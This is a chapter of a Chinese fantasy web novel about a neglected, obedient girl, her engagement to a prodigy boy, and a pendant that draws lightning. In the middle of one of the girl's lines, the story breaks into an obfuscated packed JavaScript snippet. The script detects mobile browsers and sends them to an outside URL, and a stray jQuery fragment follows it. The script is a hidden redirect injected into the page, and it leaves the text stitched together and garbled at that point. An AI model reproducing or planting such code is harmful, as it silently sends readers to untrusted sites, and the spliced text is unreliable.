65. 一境一镜锁一情2

第五茗困在雨田心玉里,陪同雨无伤一起入了人道,降生在了人界大盛国边塞雍凉城,守城主将雨威利府中。


雨无伤此世母亲是府上奴仆。


在雨无伤出生后,雨威利见她是一个女儿身,且在出生时,因手中带出的雨田心玉引来天雷,烧毁了府中一半宅院,便对其视为不祥,不管不顾,把她们母女扔在乡下。


雨无伤十岁那年,大盛国宰相蓟安塬,入雍凉城复审十万将士困死满水古都的真相,雨威利为了拉拢副将风护国,隐瞒满水古都灭国和十万大盛国将士横死之事,把雨无伤从乡下接了回来,还为她强许了一门亲事。


她回来那日,雨威利把她那身份不堪的母亲,用一碗药留在了那座茅屋里。


在雍凉城,雨府上下都不太待见这戳一下动一下,看起来傻傻的“小姐”,雨无伤一直过的也是奴仆的日子,日日被府中上下,所有人针对。


不过他们只敢言语上进行奚落,不敢真正地动手伤她,还得把她养得白白胖胖。


因为再过半月,她要与风护国家的独生子举行定亲仪式。


半个月后,雍凉城,良缘楼。


大红绸高挂,鞭炮响过一轮又一轮。


天不见亮,就有几个丫鬟婆子把她带到了良缘楼的后厢房,窸窸窣窣一阵,把她打扮成了一个大红吉娃娃。


她端端正正坐在长榻上,面对大开的房门,望向外面的花花草草,有一茬没一茬地回答她们问的话。


一位丫鬟抓了一把干桂圆在手中,戏谑道:“小姐,今日可是你大喜的日子,应该笑一笑的。”


雨无伤听话地弯起嘴唇,漏出小小的门牙,眼里和脸上却看不出一点喜悦。


那丫鬟吃了一颗桂圆,把核朝她吐去,瘪嘴道:“还真是个木头。”


另一旁,一个小丫鬟收拾地上垃圾,嘴甜好奇道:“真的问什么她就答什么?叫她干什么她就会做什么吗?”


那吃桂圆的丫鬟点头道:“哼,你试试不就知道了,我们的‘小姐’啊,可有趣了。”


小丫鬟紧张地朝雨无伤靠近两步,弱弱地问道:“小姐,你今日和风府少爷定亲,你开心吗?”


雨无伤转头看向小丫鬟,清秀的嗓音,毫不犹豫道:“我应该开心。”


这答案,着实诡异。小丫鬟一怔,惊奇道:“应该?”


里屋走出来一个婆子,嘻嘻笑道:“是不是觉得奇怪?”


小丫鬟点点头,婆子一脸不怀好意,对小丫鬟扬了扬头,扭着步子走向雨无伤,张口问道:“小姐,你阿娘死的时候,你哭了吗?”


雨无伤道:“没有。”


她漏齿的笑容依旧没变。那小丫鬟被这一幕吓傻了。


婆子继续问道:“小姐,你阿娘死的时候,你在旁边守着吗?”


雨无伤道:“阿爹让我要在旁边看着。”


小丫鬟猛地因这一问一答,又吓回了魂,呢喃道:“老爷居然让小姐看着自己的生母死在眼前,这是多…”


狠的心啊!


小丫头神情一脸哀默,替雨无伤后怕,道:“小姐,你不伤心吗?”


雨无伤歪头,看了过来,道:“我应该伤心吗?”


又是‘应该’。


小丫鬟好似见了鬼一般,急忙躲开了雨无伤的视线,埋头在地上捡起到处都是的桂圆花生壳。


婆子轻笑一声,拍了拍蹲下去的小丫鬟,道:“她就是这样一个怪物,习惯就好了。”


她朝雨无伤揶揄道:“你怎么不该伤心呢,小姐啊…以后可就没有人再唤你雷宝了,都只会说你是一个引来雷电烧府门的怪物。”


雨无伤并没有争辩,陈述事实道:“阿爹叫我雷宝的。”


婆子面上讥讽,懒得和她说清楚,雨威利如此叫她,不过是为了让她乖乖听话。


那吃桂圆的丫鬟,打了一个饱嗝,扫了一圈满屋华丽的装潢,嫉妒道:“小姐,你就没想过不回雍凉城吗?”


雨无伤答道:“没有。阿娘让我回来过好日子,阿爹要我回来去嫁人。”


那吃桂圆的丫鬟,把桌上果盘里的凹洞垒了垒,鄙夷道:“成亲?呵…你才十岁,能嫁给谁,老爷不过是要卖了你。”


门外的院子中,传来一群脚步声,排头一个红彤彤着装的小少爷,身后跟了一众奴仆,一半雨府的,一半风府的。


屋内人,齐刷刷跪拜在了两侧。


那小少爷身姿正然,朝两边抬手,示意他人起身,进屋便看见了和他一样装扮,恭谨地坐在上位的小姑娘,他嗓音脆生道:“我叫风有情,你就是要许给我的新娘?”


雨无伤嘴齿咧得太久了,有些发麻,让她答话的声音都变得有些抖,道:“嗯,我是许给你的新娘。”


风有情是少有的神童,三岁开智,四五岁能说会道,十岁已是能武能辩。若不是身量小,没有人能将他的一举一动看做是小孩,此时正因为他这一点,所有人都并不觉得他过于直白的言论有什么不妥。


风有情朝雨无伤走近几步,仔细端量对方道:“长得俏丽,还看得过去…你叫什么名字?”


雨无伤道:“雨无伤。”


风有情蹙眉,脸上有些不悦。


他不太喜欢这个名字。


环视了一圈屋子,他表明来这里的原因道:“我阿爹让我来这里与你熟络熟络,你可到院子里去?我不喜欢你这间屋子,刺眼得很。”


雨无伤不答,她看向一旁候着的婆子。


因为她不知道该不该听堂中风有情的话。


婆子知道雨无伤这是在征求的她的意思。


有风有情在场,婆子恭谨了许多,正声道:“小姐,今日后,除了老爷的话,你最应该听的便是风少爷的话了。”


雨无伤点头道:“我知道了。”


雨无伤像一个木偶,屋里的婆子和丫鬟眼神看起来也很奇怪,风有情不喜欢这一屋子的人,但奈何今日不能失了礼数,只能走上前,牵了雨无伤手,把她带到屋外远处的草地上。


躲在众人都瞧不见的假山后,他松了手,在衣服上擦了擦才道:“我不喜欢你。”


雨无伤脸上还是那一副在屋子里咧嘴笑的表情,她并没有搭话。


风有情道:“我阿爹是被你阿爹逼迫的。”


然而,雨无伤表情未变,也未张嘴应话。


风有情怒道:“你可不可以不笑了!”


雨无伤听不出里面的情绪,但她终于开口说话了,道:“可以。”


“…”


风有情额角抽搐,道:“你倒是挺有意思的。”


雨无伤又默不作语了。


风有情无奈,半躺在草地上,故意嘀咕道:“算了,等到晚上,蓟大人来吃你我酒宴时,我就能解脱了。”


出乎风有情意料,雨无伤脸上并没有喜忧,也没有追问他话中意思。


他彻底拿身旁的女孩没辙了,一只手半枕脑袋,一只手拍了拍身旁的草地,道:“躺下来晒一会儿太阳。”


雨无伤虽然还是没有说话,行动上却是照做了。


在雨无伤蹲下来时,风有情脑中闪过一念,脚尖勾动,绊上了雨无伤的脚腕。


然而,除了必然出现的笨重落地“咚”声,雨无伤并未如他所期,大声尖叫,或是惊慌失措。


蓦地,风有情一脸错愕,做了亏心事的模样,看向跪趴在地上的小姑娘。


他看着她牙口紧闭,面色痛苦,狼狈地从地上坐了起来,一声不吭,也不埋怨地揉捏膝盖腿脚。


风有情没有恶作剧的快感,嘴唇干渴道:“疼吗?”


雨无伤道:“疼。”


风有情道:“为什么不大声哭喊?为什么不把他们引过来?”


雨无伤抬起头,有一丝疑惑在脸上闪现,也仅仅是一瞬,那疑惑就消失不见了,她道:“他们说,摔倒后不能叫,要忍住。”


紧接着,她回答第二问,道:“应该引他们过来吗?”


她的回答,反倒是叫他‘不知所措’。


风有情思绪万千,手撑草地,挪近到雨无伤身边,他托起雨无伤的双腿放在自己膝上,脸色羞红,替对方舒缓疼痛,道:“一般人都会那么做。”


稍顷,他继续道:“大声哭喊,引人过来…再要是能教训我一顿就更好了。”


风有情眼眸星亮,目光停留在雨无伤一点反应都没有的脸上,道:“你学会了吗?”


雨无伤点点头,道:“嗯。下回你这样做,我就按照你教我的去做。”


风有情手上用了点劲儿,雨无伤疼痛难忍,重呼一口气,风有情才放缓手劲儿,调侃道:“还知道疼,看来也是一个活人啊,听不出来我说的是玩笑话吗?以后遇见这种事,逃远一点,别傻傻地等到真疼了再去找别人。”


雨无伤眼睛转了转,道:“没有听出来是玩笑话,他们不跟我开玩笑。”


听到此话,结合这一时半会儿,他观摩到的情况,风有情本想要安慰她话,到嘴边又咽了回去,他眼神未移,直愣愣地打量起面前这位别人强赛给他的“小媳妇”。


瞧了许久,他没看出什么来。


他没看出来雨无伤有什么坏心眼,也没看出她有没有好心肠。


揉了片刻,风有情问道:“好些了吗?”


雨无伤拍拍小腿,道:“好了。”


风有情手掌停顿在雨无伤的腿上,脑中突兀地有一个想法蹦了出来,他发问道:“你是不是只会回答问题?”


雨无伤道:“问题是最好回应的。”


她手指双腿,道:“我应该怎么做?”


风有情顺她手指看过去,他的双手停在她膝盖上,他没有再替她揉腿了,得不到他的安排,她就不知道该不该把腿收回来。


果然是这样…


风有情像是发现了好玩的物件,笑道:“你不知道吗?”


雨无伤道:“不知道。”


把雨无伤的腿放到草地上,风有情提议道:“我教你做一个一般人,好不好?”


雨无伤望向风有情阳光下亮亮的眼睛,对方有和刚才耐心教她摔疼以后如何去做时,一样的神情。她颔首道:“好。”


风有情面做迟疑,诓道:“作为回报,你是不是应该也同等回我点东西?”


雨无伤点点头。


风有情思忖片刻,道:“那以后你就只听我一人的话,可以吗?”


雨无伤斩钉截铁道:“不行。”


风有情笑容一顿,愣住了,心中腹诽道:原来不是傻子啊!只是不通人情…


雨无伤继续道:“我从小听阿娘的话,阿娘让我听阿爹的话,阿爹今日让我听婆婆的话,婆婆说日后让我听你和阿爹的话


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674819|171191||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


。我不能只听你一人的话。”


良久,风有情疑问道:“怎么都是听别人的话,你为什么不听自己的话?”


雨无伤喃喃道:“自己?我?”


无缘无故地,雨无伤捂住胸口,顾左言他道:“要打雷了,我们回屋子里好不好?”


碧空如洗,万里无云,风有情指向头顶晃眼的太阳,道:“打雷?你在说什么胡话?”


雨无伤从脖子上掏出一枚月牙坠子,道:“它告诉我的。它在动,雷就会来劈这片地,也可能会劈到你。”


风有情收回手,探在雨无伤脑门,道:“生病了?说什么胡话呢,好好地就待在这里,屋里一堆子的人,你不觉得难受,我难受,我看两眼心里就发堵。”


雨无伤手中的月牙坠子越动越厉害,有风有情拖着,她走不掉。


倏地,她起身,把半坐的风有情推倒在草地上,整个人飞扑在风有情身上,拿衣裙严严实实地,把风有情掩在了她和草地之间。


如此生猛的动作,风有情一时哑口无语,浑身僵硬,任由雨无伤摆布。直到雨无伤把头埋在他肩上后,他回过神,急急地口吃道:“你…你干什么?我…我们…才十岁。”


雨无伤并未答。她把脖子上的月牙坠子扯了下来,高举在二人头顶上,晴日里,一道银色雷电,在空中拐了一个弯,劈在了雨无伤的玉坠子上,立马,又劈下来第二道。


白日旱雷的异象,整个雍凉城遍地都是。


唯独劈在良缘楼,草坪假山后的几道雷,没有引出雷火,也没有击倒房屋建筑。


而雷火下,顺势惨重的,当属雍凉城主将府邸。


雨府遭雷击最严重,房屋损毁也最严重。


半盏茶时间,雷声停了,电火消失了,风和日丽的阳光下,弥漫出阵阵浓烟,四处伴随奔跑惊叫的声音。


屋子里的仆从,丧魂落魄地朝假山后寻来。


受雨无伤的保护,风有情毫发无伤,他看不见周围的慌乱,侧头关心道:“你有没有受伤?”


雨无伤从风有情身上翻了下来,摇摇头道:“没有。”


风有情道:“你的坠子是什么东西?为什么会引雷电来烧城?”


雨无伤道:“它没有名字,阿娘喜欢叫它雷坠子,喜欢叫我雷宝。雷电不是我们引来的,有天雷的时候,雷坠子会带走一部分。”


她说的话太离奇了。


可是,风有情信了。


他满心满眼都是劫后余生的欣喜,连看雨无伤的目光都变得和善。


刹那间,雷坠子又开始动了起来,雨无伤道:“雷坠子又动了,动作很小,下一阵的雷电,应该离我们这里很远…但也应该是劈在城内。”


风有情奋然起身,朝雨无伤伸出手,把她拉了起来,不顾周围要挤上前查看他伤势的奴仆,对雨无伤征询道:“雷电是天灾,你的雷坠子能吸雷,你可不可以借给我?我拿去将城中其他地方…”


越过围在风有情周围的仆从,雨无伤双手将雷坠子递了进来,道:“可以。”


风有情笑道:“我替雍凉城谢谢你。”


他拿过雷坠子,没多久,坠子就在他手中安稳了下来。


风友情在仆从的拥护下,大步朝正堂走去,他回头看了看,才发现,雨无伤身边的人群都没了。


那堆仆从都是来寻他的,而她的周围没有一个关心她的人。


连虚情假意的一个人都没有…


他瞟了眼房檐下躲避的婆子和丫鬟,对雨无伤大喊,嘱咐道:“雷宝,你去屋里躲着,要保护好自己,我去寻我阿爹,等我们把城内的雷电都解决了,我们就回来。”


“我会回来寻你!”


阿娘曾说,雷宝不喜欢想事情,喜欢琢磨事情的人就会喜欢欺负雷宝和雷坠子。


所以阿娘和她约定了一个秘密,若是有人叫出了“雷宝”,满心欢喜的,让她觉得好听的,那雷宝就要听那人的话。


雨无伤不知为何,让她喜欢的一声“雷宝”,会让她心口有些刺痛,还让她想起了娘亲,她嘴角莫名地想龇牙大笑,她伸手,接住风有情离开后留下的那片日光,应答道:“好。”


雷宝等你。


雷宝以后只听你一个人的。


那雷坠子便是当日在奈何桥前,风有情给雨无伤的信物——雨田心玉。第五茗在坠子里目睹了这些年那仙家法器,白日里招蜂引蝶降诱落下的雷电,是如何害苦了雨无伤。


而第五茗也终于想起来了,正是因为她在老司命给风有情写的簿子里,看出了雨田心玉这一茬,她才给风有情和雨无伤的命数,在此阶段添了几笔。


让风有情,于订婚这日,在心里装上了那个说话痴痴傻傻,却干干净净的雨无伤。以此,让风有情从雨无伤手中拿回了雨田心玉,镇压住雨田心玉靠法器灵性胡作非为,招惹引雨雷电白日降落的荒诞事。


后续,风有情的命数出了变数,她出于善意,又给改了几笔。


现下亲眼目睹,第五茗才发现,命格簿子上的寥寥数笔,对二人的命数来说根本就是微不足道,全都是风有情当日翻阅命格簿子,和雨无伤无知无感无情绪,引来天命天道为两人写命导致的。


可惜了,第五茗即便想替二人修正命数,奈何…她眼前所见的,都是那情丝里已经发生的事,她只能默默地在雨田心玉里看着。